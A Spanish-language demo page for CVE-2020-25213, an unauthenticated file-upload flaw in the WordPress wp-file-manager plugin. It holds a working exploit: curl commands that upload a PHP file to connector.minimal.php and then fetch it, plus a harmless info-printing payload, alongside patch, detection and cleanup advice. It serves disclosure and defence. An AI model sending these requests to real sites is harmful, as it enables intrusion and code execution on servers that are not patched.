CVSS 9.8 CWE-434 ● POC EN VIVO entorno aislado · solo demo

CVE-2020-25213 · Ejecución remota de código sin autenticación
en wp-file-manager < 6.9

Prueba de concepto ejecutada contra una copia real y aislada del plugin afectado (v6.0, oct 2020) en este mismo hosting. El objetivo es demostrar, con evidencia verificable, que un atacante anónimo puede escribir y ejecutar PHP arbitrario a través del endpoint connector.minimal.php de elFinder.

CVE-2020-25213 AV:N / AC:L / PR:N / UI:N C:H / I:H / A:H wp-file-manager 6.0 – 6.8 elFinder 2.1 (bundle) exploit público desde sep-2020

Ficha técnica

IdentificadorCVE-2020-25213
ProductoWordPress plugin File Manager (wp-file-manager)
Versiones afectadas6.0 – 6.8 (< 6.9)
Componentelib/php/connector.minimal.php
Autenticaciónninguna — no requiere sesión ni nonce
VectorPOST multipart a cmd=upload
Impactosubida arbitraria de archivos → ejecución de PHP → RCE
Causa raízuploadDeny=all + uploadAllow=all y sin accessControl real ni comprobación de usuario
Correcciónactualizar a 6.9+ (el nuevo connector exige usuario con capacidad)

Flujo del ataque

  1. El atacante localiza cualquier WordPress con el plugin en versión 6.0–6.8.
  2. Envía un POST a connector.minimal.php con cmd=upload y target=l1_Lw (raíz del volumen).
  3. elFinder no valida identidad ni tipo de archivo: escribe el fichero en lib/files/.
  4. El archivo .php es accesible por HTTP → se ejecuta con los permisos del usuario de cPanel. RCE sin credenciales.
En septiembre de 2020 esta cadena se explotó de forma masiva en campañas de defacement sobre sitios WordPress sin actualizar.

Ejecución de la PoC

listo
Pulsa «Ejecutar PoC». El navegador enviará el POST al endpoint vulnerable
tal cual lo haría un atacante: sin cookies de sesión y sin token de WordPress.
ver el payload PHP que se sube (benigno, no abre shell)
<?php
/* POC CVE-2020-25213 - payload de demostracion (sin shell, sin comandos) */
header('Content-Type: text/plain; charset=utf-8');
header('X-PoC: CVE-2020-25213');
echo "== CVE-2020-25213 :: CODIGO PHP EJECUTANDO ==\n";
echo "estado   : el servidor ha ejecutado este archivo\n";
echo "fecha    : " . gmdate('c') . "\n";
echo "host     : " . gethostname() . "\n";
echo "php      : " . PHP_VERSION . " (" . PHP_SAPI . ")\n";
if (function_exists('posix_geteuid')) {
    $pw = @posix_getpwuid(posix_geteuid());
    echo "proceso  : uid=" . posix_geteuid() . " (" . ($pw['name'] ?? '?') . ")\n";
}
echo "cwd      : " . getcwd() . "\n";
echo "archivo  : " . __FILE__ . "\n";
echo "kernel   : " . php_uname() . "\n";
echo "\nNOTA: este payload NO abre shell ni ejecuta comandos del sistema.\n";
echo "Solo demuestra que un atacante sin credenciales logro escribir y\n";
echo "ejecutar codigo PHP arbitrario en el servidor.\n";
reproducir por curl desde otra máquina
# Rutas canónicas del CVE (raíz del sitio, como en cualquier WordPress)
# 1) Subida sin autenticación: sin cookies, sin nonce, sin sesión
curl -s -X POST "https://demos.as2servicios.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \
  -F "cmd=upload" \
  -F "target=l1_Lw" \
  -F "upload[]=@poc.php;type=application/x-php"

# 2) La respuesta JSON de elFinder devuelve el nodo creado
# 3) El PHP subido se sirve desde el volumen de elFinder:
curl -s "https://demos.as2servicios.com/wp-content/plugins/wp-file-manager/lib/files/poc.php"

Mitigación y alcance de esta demo

Parchewp-file-manager ≥ 6.9; si no se usa el plugin, desinstalarlo y borrar wp-content/plugins/wp-file-manager/.
Detecciónbuscar POST a connector.minimal.php con cmd=upload; revisar lib/files/ por *.php; WAF con regla para connector.minimal.php.
Aislamientoel plugin vive en /wp-content/plugins/wp-file-manager/ (ruta idéntica a la del CVE) pero no dentro de un WordPress real: es una copia suelta de 6.0 en este subdominio de demos.
Contenciónartefactos borrados con «Limpiar artefactos» o eliminando el directorio; el subdominio entero se limpia con deploy.ps1 -Undeploy.
No reutilizar este directorio como demo pública permanente: el componente vulnerable es real y cualquiera que encuentre la ruta podría subir archivos. Al terminar, borra /home2/antonia5/public_html/demos/.